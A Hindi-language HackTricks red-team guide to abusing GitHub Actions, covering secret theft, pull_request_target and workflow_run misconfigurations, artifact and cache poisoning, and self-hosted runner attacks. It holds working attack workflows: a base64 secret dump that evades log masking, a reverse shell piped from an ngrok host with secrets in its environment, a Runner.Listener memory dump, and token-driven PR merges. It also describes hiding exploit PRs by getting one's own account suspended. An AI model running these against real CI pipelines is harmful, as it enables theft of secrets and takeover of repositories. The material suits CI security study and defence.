Abusing Github Actions

AWS Hacking सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE) GCP Hacking सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks को समर्थन दें

सदस्यता योजनाओं की जाँच करें!
शामिल हों 💬 Discord समूह या telegram समूह या हमें Twitter 🐦 पर फॉलो करें @hacktricks_live.
PRs सबमिट करके हैकिंग ट्रिक्स साझा करें HackTricks और HackTricks Cloud github repos में।

बुनियादी जानकारी

इस पेज में आपको मिलेगा:

एक सारांश सभी प्रभावों का जब एक हमलावर Github Action तक पहुँच जाता है
एक्शन तक पहुँचने के विभिन्न तरीके:
एक्शन बनाने के लिए अनुमतियाँ होना
pull request संबंधित ट्रिगर्स का दुरुपयोग
अन्य बाहरी पहुँच तकनीकों का दुरुपयोग
पहले से समझौता किए गए repo से पिवोटिंग
अंत में, पोस्ट-एक्सप्लॉइटेशन तकनीकों के बारे में एक अनुभाग जो अंदर से एक्शन का दुरुपयोग करने के लिए है (उल्लेखित प्रभावों का कारण)

प्रभावों का सारांश

Github Actions की मूल जानकारी के बारे में परिचय के लिए देखें।

यदि आप मनमाने Github actions निष्पादित/कोड इंजेक्ट कर सकते हैं एक repository में, तो आप सक्षम हो सकते हैं:

उस repo/organization से secrets चोरी करना।
यदि आप केवल इंजेक्ट कर सकते हैं, तो आप जो भी वर्कफ़्लो में पहले से मौजूद है उसे चुरा सकते हैं।
repo privileges का दुरुपयोग करके अन्य प्लेटफार्मों जैसे AWS और GCP तक पहुँच सकते हैं।
कस्टम वर्कर्स में कोड निष्पादित करें (यदि कस्टम वर्कर्स का उपयोग किया जाता है) और वहां से पिवोट करने का प्रयास करें।
repository कोड को ओवरराइट करें।
यह GITHUB_TOKEN (यदि कोई हो) के विशेषाधिकारों पर निर्भर करता है।
डिप्लॉयमेंट्स और अन्य आर्टिफैक्ट्स को समझौता करें।
यदि कोड कुछ तैनात या संग्रहीत कर रहा है तो आप उसे संशोधित कर सकते हैं और कुछ और पहुँच प्राप्त कर सकते हैं।

GITHUB_TOKEN

यह "secret" (जो ${{ secrets.GITHUB_TOKEN }} और ${{ github.token }} से आता है) तब दिया जाता है जब एडमिन इस विकल्प को सक्षम करता है:

यह टोकन वही है जो एक Github Application उपयोग करेगा, इसलिए यह उन्हीं endpoints तक पहुँच सकता है: https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps

Github को एक flow जारी करना चाहिए जो क्रॉस-रिपॉजिटरी पहुँच की अनुमति देता है GitHub के भीतर, ताकि एक repo अन्य आंतरिक repos तक GITHUB_TOKEN का उपयोग करके पहुँच सके।

आप इस टोकन के संभावित अनुमतियों को देख सकते हैं: https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token

ध्यान दें कि टोकन जॉब पूरा होने के बाद समाप्त हो जाता है। ये टोकन इस तरह दिखते हैं: ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7

इस टोकन के साथ आप कुछ दिलचस्प चीजें कर सकते हैं:

# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"commit_title":"commit_title"}'

# Approve a PR
curl -X POST \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"event":"APPROVE"}'

# Create a PR
curl -X POST \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
https://api.github.com/repos/<org_name>/<repo_name>/pulls \
-d '{"head":"<branch_name>","base":"master", "title":"title"}'

ध्यान दें कि कई मौकों पर आप Github Actions envs या secrets के अंदर github user tokens पा सकते हैं। ये tokens आपको repository और organization पर अधिक विशेषाधिकार दे सकते हैं।

Github Action output में secrets सूचीबद्ध करें

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

सीक्रेट्स के साथ रिवर्स शेल प्राप्त करें

```yaml name: revshell on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: create_pull_request: runs-on: ubuntu-latest steps: - name: Get Rev Shell run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

अन्य उपयोगकर्ताओं के रिपॉजिटरी में Github Token को दिए गए अनुमतियों की जांच करना संभव है एक्शन के लॉग्स की जांच करके:

Allowed Execution

यह Github actions को समझौता करने का सबसे आसान तरीका होगा, क्योंकि इस मामले में मान लिया गया है कि आपके पास संगठन में एक नया रिपॉजिटरी बनाने की पहुंच है, या किसी रिपॉजिटरी पर लिखने के विशेषाधिकार हैं।

यदि आप इस स्थिति में हैं तो आप बस Post Exploitation techniques की जांच कर सकते हैं।

Repo Creation से Execution

यदि संगठन के सदस्य नए रिपॉजिटरी बना सकते हैं और आप github actions को निष्पादित कर सकते हैं, तो आप एक नया रिपॉजिटरी बना सकते हैं और संगठन स्तर पर सेट किए गए secrets को चुरा सकते हैं।

एक नई Branch से Execution

यदि आप किसी रिपॉजिटरी में एक नई शाखा बना सकते हैं जिसमें पहले से ही एक Github Action कॉन्फ़िगर है, तो आप इसे संशोधित कर सकते हैं, सामग्री अपलोड कर सकते हैं, और फिर नई शाखा से उस एक्शन को निष्पादित कर सकते हैं। इस तरह आप रिपॉजिटरी और संगठन स्तर के secrets को बाहर निकाल सकते हैं (लेकिन आपको यह जानना होगा कि उन्हें कैसे कहा जाता है)।

आप संशोधित एक्शन को मैन्युअल रूप से, जब एक PR बनाया जाता है या जब कुछ कोड पुश किया जाता है (इस पर निर्भर करता है कि आप कितना शोर करना चाहते हैं) निष्पादित कर सकते हैं:

on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name

# Use '**' instead of a branh name to trigger the action in all the cranches

Forked Execution

अलग-अलग ट्रिगर्स हो सकते हैं जो एक हमलावर को किसी अन्य रिपॉजिटरी की Github Action को निष्पादित करने की अनुमति दे सकते हैं। यदि वे ट्रिगर करने योग्य क्रियाएं खराब तरीके से कॉन्फ़िगर की गई हैं, तो एक हमलावर उन्हें समझौता कर सकता है।

`pull_request`

वर्कफ़्लो ट्रिगर pull_request हर बार वर्कफ़्लो को निष्पादित करेगा जब कोई पुल अनुरोध प्राप्त होता है कुछ अपवादों के साथ: डिफ़ॉल्ट रूप से यदि यह पहली बार है जब आप सहयोग कर रहे हैं, तो कुछ रखरखावकर्ता को वर्कफ़्लो के रन को स्वीकृत करने की आवश्यकता होगी:

चूंकि डिफ़ॉल्ट सीमा पहली बार योगदानकर्ताओं के लिए है, आप एक वैध बग/टाइपो को ठीक करने में योगदान कर सकते हैं और फिर अपने नए pull_request विशेषाधिकारों का दुरुपयोग करने के लिए अन्य PRs भेज सकते हैं।

मैंने इसका परीक्षण किया और यह काम नहीं करता: एक और विकल्प यह होगा कि किसी ऐसे व्यक्ति के नाम से खाता बनाया जाए जिसने प्रोजेक्ट में योगदान दिया हो और अपना खाता हटा दिया हो।

इसके अलावा, डिफ़ॉल्ट रूप से लिखने की अनुमतियों और लक्षित रिपॉजिटरी तक गुप्त पहुंच को रोकता है जैसा कि दस्तावेज़ों में उल्लेख किया गया है:

GITHUB_TOKEN को छोड़कर, गुप्त जानकारी रनर को पास नहीं की जाती जब वर्कफ़्लो फोर्क की गई रिपॉजिटरी से ट्रिगर होता है। पुल अनुरोधों में GITHUB_TOKEN के पास केवल पढ़ने की अनुमति होती है फोर्क की गई रिपॉजिटरी से।

एक हमलावर Github Action की परिभाषा को संशोधित कर सकता है ताकि मनमानी चीजें निष्पादित की जा सकें और मनमानी क्रियाएं जोड़ी जा सकें। हालाँकि, वह उल्लिखित सीमाओं के कारण गुप्त जानकारी चुरा नहीं सकेगा या रिपॉजिटरी को अधिलेखित नहीं कर सकेगा।

हां, यदि हमलावर PR में ट्रिगर की जाने वाली github action को बदलता है, तो उसकी Github Action का उपयोग किया जाएगा न कि मूल रिपॉजिटरी की!

चूंकि हमलावर भी निष्पादित कोड को नियंत्रित करता है, भले ही GITHUB_TOKEN पर गुप्त जानकारी या लिखने की अनुमति न हो, एक हमलावर उदाहरण के लिए दुर्भावनापूर्ण आर्टिफैक्ट अपलोड कर सकता है।

`pull_request_target`

वर्कफ़्लो ट्रिगर pull_request_target के पास लक्षित रिपॉजिटरी के लिए लिखने की अनुमति और गुप्त जानकारी तक पहुंच है (और अनुमति नहीं मांगता)।

ध्यान दें कि वर्कफ़्लो ट्रिगर pull_request_target बेस संदर्भ में चलता है न कि PR द्वारा दिए गए संदर्भ में (अविश्वसनीय कोड को निष्पादित न करने के लिए)। pull_request_target के बारे में अधिक जानकारी के लिए दस्तावेज़ देखें। इसके अलावा, इस विशिष्ट खतरनाक उपयोग के बारे में अधिक जानकारी के लिए इस github ब्लॉग पोस्ट को देखें।

ऐसा लग सकता है कि क्योंकि निष्पादित वर्कफ़्लो वह है जो बेस में परिभाषित है और PR में नहीं है, pull_request_target का उपयोग करना सुरक्षित है, लेकिन कुछ मामले हैं जहां यह नहीं है।

और इस एक के पास गुप्त जानकारी तक पहुंच होगी।

`workflow_run`

workflow_run ट्रिगर एक वर्कफ़्लो को एक अलग वर्कफ़्लो से चलाने की अनुमति देता है जब यह completed, requested या in_progress होता है।

इस उदाहरण में, एक वर्कफ़्लो को अलग "Run Tests" वर्कफ़्लो पूरा होने के बाद चलाने के लिए कॉन्फ़िगर किया गया है:

on:
workflow_run:
workflows: [Run Tests]
types:
- completed

Moreover, according to the docs: The workflow started by the workflow_run event is able to access secrets and write tokens, even if the previous workflow was not.

इस प्रकार के वर्कफ़्लो पर हमला किया जा सकता है यदि यह workflow पर निर्भर है जिसे बाहरी उपयोगकर्ता द्वारा pull_request या pull_request_target के माध्यम से triggered किया जा सकता है। कुछ कमजोर उदाहरण इस ब्लॉग में पाए जा सकते हैं। पहला उदाहरण workflow_run ट्रिगर किए गए वर्कफ़्लो का है जो हमलावर के कोड को डाउनलोड करता है: ${{ github.event.pull_request.head.sha }} दूसरा उदाहरण untrusted कोड से artifact को workflow_run वर्कफ़्लो में पास करने और इस आर्टिफैक्ट की सामग्री का उपयोग करने का है जिससे यह RCE के लिए कमजोर हो जाता है।

`workflow_call`

TODO

TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR

Abusing Forked Execution

हमने उन सभी तरीकों का उल्लेख किया है जिनसे एक बाहरी हमलावर एक github वर्कफ़्लो को निष्पादित करने का प्रबंधन कर सकता है, अब देखते हैं कि इन निष्पादनों का, यदि गलत कॉन्फ़िगर किया गया हो, तो कैसे दुरुपयोग किया जा सकता है:

Untrusted checkout execution

pull_request के मामले में, वर्कफ़्लो PR के संदर्भ में निष्पादित किया जाएगा (इसलिए यह दुर्भावनापूर्ण PRs कोड निष्पादित करेगा), लेकिन किसी को इसे पहले अधिकृत करना होगा और यह कुछ सीमाओं के साथ चलेगा।

pull_request_target या workflow_run का उपयोग करने वाले वर्कफ़्लो के मामले में जो pull_request_target या pull_request से ट्रिगर किए जा सकने वाले वर्कफ़्लो पर निर्भर करता है, मूल रिपॉजिटरी का कोड निष्पादित किया जाएगा, इसलिए हमलावर निष्पादित कोड को नियंत्रित नहीं कर सकता।

हालांकि, यदि action में एक explicit PR checkout है जो PR से कोड प्राप्त करेगा (और बेस से नहीं), तो यह हमलावर द्वारा नियंत्रित कोड का उपयोग करेगा। उदाहरण के लिए (लाइन 12 देखें जहां PR कोड डाउनलोड किया गया है):

# INSECURE. Provided as an example only.
on:
pull_request_target

jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

- uses: actions/setup-node@v1
- run: |
npm install
npm build

- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}

- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!

संभावित untrusted code npm install या npm build के दौरान चल रहा है क्योंकि बिल्ड स्क्रिप्ट्स और संदर्भित पैकेज PR के लेखक द्वारा नियंत्रित होते हैं।

कमजोर actions की खोज के लिए एक github dork है: event.pull_request pull_request_target extension:yml हालांकि, नौकरियों को सुरक्षित रूप से निष्पादित करने के लिए विभिन्न तरीके हैं, भले ही action असुरक्षित रूप से कॉन्फ़िगर किया गया हो (जैसे कि PR उत्पन्न करने वाले actor के बारे में शर्तों का उपयोग करना)।

Context Script Injections

ध्यान दें कि कुछ github contexts हैं जिनके मान PR बनाने वाले उपयोगकर्ता द्वारा नियंत्रित होते हैं। यदि github action उस डेटा का उपयोग कुछ भी निष्पादित करने के लिए कर रहा है, तो यह arbitrary code execution का कारण बन सकता है:

Gh Actions - Context Script Injections

GITHUB_ENV Script Injection

डॉक्स से: आप किसी भी बाद के चरणों में एक वर्कफ़्लो जॉब में एक environment variable उपलब्ध करा सकते हैं या अपडेट कर सकते हैं और इसे GITHUB_ENV environment file में लिख सकते हैं।

यदि कोई हमलावर इस env variable के अंदर कोई भी मान inject कर सकता है, तो वह env variables inject कर सकता है जो अगले चरणों में कोड निष्पादित कर सकते हैं जैसे LD_PRELOAD या NODE_OPTIONS।

उदाहरण के लिए (यह और यह), एक वर्कफ़्लो की कल्पना करें जो एक अपलोड किए गए आर्टिफैक्ट पर भरोसा कर रहा है ताकि इसकी सामग्री को GITHUB_ENV env variable के अंदर संग्रहीत किया जा सके। एक हमलावर इसे समझौता करने के लिए कुछ इस तरह अपलोड कर सकता है:

Vulnerable Third Party Github Actions

dawidd6/action-download-artifact

जैसा कि इस ब्लॉग पोस्ट में उल्लेख किया गया है, यह Github Action विभिन्न वर्कफ़्लो और यहां तक कि रिपॉजिटरीज़ से आर्टिफैक्ट्स तक पहुंचने की अनुमति देता है।

समस्या यह है कि यदि path पैरामीटर सेट नहीं है, तो आर्टिफैक्ट वर्तमान निर्देशिका में निकाला जाता है और यह उन फ़ाइलों को ओवरराइड कर सकता है जिन्हें बाद में उपयोग या यहां तक कि वर्कफ़्लो में निष्पादित किया जा सकता है। इसलिए, यदि आर्टिफैक्ट कमजोर है, तो एक हमलावर इसका दुरुपयोग कर सकता है ताकि अन्य वर्कफ़्लो को समझौता किया जा सके जो आर्टिफैक्ट पर भरोसा करते हैं।

कमजोर वर्कफ़्लो का उदाहरण:

on:
workflow_run:
workflows: ["some workflow"]
types:
- completed

jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py

यह इस workflow के साथ हमला किया जा सकता है:

name: "some workflow"
on: pull_request

jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py

अन्य बाहरी एक्सेस

डिलीटेड नेमस्पेस रिपो हाईजैकिंग

यदि एक खाता अपना नाम बदलता है, तो कुछ समय बाद कोई अन्य उपयोगकर्ता उस नाम के साथ एक खाता पंजीकृत कर सकता है। यदि किसी रिपॉजिटरी में नाम बदलने से पहले 100 से कम स्टार्स थे, तो Github नए पंजीकृत उपयोगकर्ता को उसी नाम के साथ एक रिपॉजिटरी बनाने की अनुमति देगा जैसा कि डिलीटेड रिपॉजिटरी का नाम था।

तो यदि कोई एक्शन किसी गैर-मौजूद खाते से रिपो का उपयोग कर रहा है, तो यह अभी भी संभव है कि एक हमलावर उस खाते को बना सके और एक्शन को समझौता कर सके।

यदि अन्य रिपॉजिटरी इस उपयोगकर्ता के रिपो से निर्भरता का उपयोग कर रहे थे, तो एक हमलावर उन्हें हाईजैक कर सकेगा। यहाँ आपके पास एक अधिक पूर्ण व्याख्या है: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/

रिपो पिवोटिंग

इस अनुभाग में हम उन तकनीकों के बारे में बात करेंगे जो एक रिपो से दूसरे रिपो में पिवोट करने की अनुमति देती हैं, यह मानते हुए कि हमारे पास पहले वाले पर किसी प्रकार की पहुंच है (पिछले अनुभाग की जांच करें)।

कैश पॉइज़निंग

एक कैश उसी शाखा में वर्कफ़्लो रन के बीच बनाए रखा जाता है। इसका मतलब है कि यदि एक हमलावर पैकेज को समझौता करता है जो फिर कैश में संग्रहीत होता है और डाउनलोड और अधिक विशेषाधिकार प्राप्त वर्कफ़्लो द्वारा निष्पादित होता है, तो वह उस वर्कफ़्लो को भी समझौता कर सकेगा।

GH Actions - Cache Poisoning

आर्टिफैक्ट पॉइज़निंग

वर्कफ़्लो अन्य वर्कफ़्लो और यहां तक कि रिपो से आर्टिफैक्ट्स का उपयोग कर सकते हैं, यदि एक हमलावर गिटहब एक्शन को समझौता करने में सफल होता है जो एक आर्टिफैक्ट अपलोड करता है जो बाद में किसी अन्य वर्कफ़्लो द्वारा उपयोग किया जाता है, तो वह अन्य वर्कफ़्लो को समझौता कर सकता है:

Gh Actions - Artifact Poisoning

एक्शन से पोस्ट एक्सप्लॉइटेशन

OIDC के माध्यम से AWS और GCP तक पहुंच

निम्नलिखित पृष्ठों की जांच करें:

AWS - Federation Abuse GCP - Federation Abuse

सीक्रेट्स तक पहुंच

यदि आप किसी स्क्रिप्ट में सामग्री इंजेक्ट कर रहे हैं, तो यह जानना दिलचस्प है कि आप सीक्रेट्स तक कैसे पहुंच सकते हैं:

यदि सीक्रेट या टोकन को पर्यावरण चर पर सेट किया गया है, तो इसे सीधे पर्यावरण के माध्यम से printenv का उपयोग करके एक्सेस किया जा सकता है।

गिटहब एक्शन आउटपुट में सीक्रेट्स सूचीबद्ध करें

secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

</details>

<details>

<summary>Secrets के साथ रिवर्स शेल प्राप्त करें</summary>
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

यदि सीक्रेट का उपयोग प्रत्यक्ष रूप से एक अभिव्यक्ति में किया जाता है, तो उत्पन्न शेल स्क्रिप्ट डिस्क पर संग्रहीत होती है और सुलभ होती है।

cat /home/runner/work/_temp/*

* एक JavaScript actions के लिए सीक्रेट्स पर्यावरण वेरिएबल्स के माध्यम से भेजे जाते हैं
* ```bash
ps axe | grep node

एक कस्टम एक्शन के लिए, जोखिम इस बात पर निर्भर कर सकता है कि एक प्रोग्राम ने आर्गुमेंट से प्राप्त सीक्रेट का उपयोग कैसे किया है:

uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}

Self-hosted runners का दुरुपयोग

यह पता लगाने का तरीका कि कौन से Github Actions गैर-गिटहब इन्फ्रास्ट्रक्चर में निष्पादित हो रहे हैं यह है कि Github Action कॉन्फ़िगरेशन yaml में runs-on: self-hosted खोजें।

Self-hosted runners को अतिरिक्त संवेदनशील जानकारी, अन्य नेटवर्क सिस्टम्स (नेटवर्क में कमजोर एंडपॉइंट्स? मेटाडेटा सेवा?) तक पहुंच हो सकती है, या, भले ही यह अलग-थलग और नष्ट हो, एक से अधिक एक्शन एक ही समय में चलाए जा सकते हैं और दुर्भावनापूर्ण एक्शन अन्य एक्शन के सीक्रेट्स चुरा सकता है।

Self-hosted runners में यह भी संभव है कि _Runner.Listener_** प्रक्रिया** से सीक्रेट्स प्राप्त किए जाएं जो किसी भी चरण में वर्कफ़्लोज़ के सभी सीक्रेट्स को उसकी मेमोरी को डंप करके शामिल करेगा:

sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"

इस पोस्ट में अधिक जानकारी देखें.

Github Docker Images Registry

यह संभव है कि Github actions बनाए जाएं जो Docker image को Github के अंदर build और store करें। एक उदाहरण निम्नलिखित विस्तार योग्य में पाया जा सकता है:

Github Action Build & Push Docker Image

```yaml [...]

name: Set up Docker Buildx uses: docker/setup-buildx-action@v1
name: Login to GitHub Container Registry uses: docker/login-action@v1 with: registry: ghcr.io username: ${{ github.repository_owner }} password: ${{ secrets.ACTIONS_TOKEN }}
name: Add Github Token to Dockerfile to be able to download code run: | sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
name: Build and push uses: docker/build-push-action@v2 with: context: . push: true tags: | ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}

[...]

</details>

जैसा कि आप पिछले कोड में देख सकते हैं, Github रजिस्ट्री **`ghcr.io`** में होस्ट की गई है।

एक उपयोगकर्ता जिसके पास रिपो पर पढ़ने की अनुमति है, वह व्यक्तिगत एक्सेस टोकन का उपयोग करके Docker Image डाउनलोड कर सकेगा:
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>

फिर, उपयोगकर्ता Docker image layers में leaked secrets खोज सकता है:

Github Actions logs में संवेदनशील जानकारी

भले ही Github actions logs में secret values को detect करने और उन्हें दिखाने से बचने की कोशिश करता है, अन्य संवेदनशील डेटा जो action के निष्पादन में उत्पन्न हो सकता है, छिपा नहीं रहेगा। उदाहरण के लिए, एक secret value के साथ साइन किया गया JWT तब तक छिपा नहीं रहेगा जब तक कि इसे विशेष रूप से कॉन्फ़िगर नहीं किया गया हो।

अपने Tracks को कवर करना

(यहां से तकनीक) सबसे पहले, कोई भी PR जो उठाया गया है, वह Github और लक्षित GitHub खाते में सार्वजनिक रूप से स्पष्ट रूप से दिखाई देता है। GitHub में डिफ़ॉल्ट रूप से, हम इंटरनेट से PR को हटा नहीं सकते, लेकिन इसमें एक ट्विस्ट है। Github खातों के लिए जो Github द्वारा निलंबित किए गए हैं, उनके सभी PR स्वचालित रूप से हटा दिए जाते हैं और इंटरनेट से हटा दिए जाते हैं। इसलिए अपनी गतिविधि को छिपाने के लिए आपको या तो अपना GitHub खाता निलंबित करवाना होगा या अपना खाता फ्लैग करवाना होगा। इससे आपकी सभी गतिविधियाँ GitHub पर इंटरनेट से छिप जाएंगी (मूल रूप से आपके सभी exploit PR को हटा देंगी)।

GitHub में एक संगठन बहुत सक्रिय रूप से GitHub को खातों की रिपोर्ट करता है। आपको बस "कुछ सामान" Issue में साझा करना है और वे सुनिश्चित करेंगे कि आपका खाता 12 घंटों में निलंबित हो जाए :p और वहां आपके पास है, आपका exploit github पर अदृश्य हो गया।

किसी संगठन के लिए यह पता लगाने का एकमात्र तरीका कि उन्हें लक्षित किया गया है, SIEM से GitHub logs की जांच करना है क्योंकि GitHub UI से PR हटा दिया जाएगा।

Tools

निम्नलिखित उपकरण Github Action workflows को खोजने और यहां तक कि कमजोर लोगों को खोजने के लिए उपयोगी हैं:

PreviousGithub Security NextGh Actions - Artifact Poisoning

Last updated 1 month ago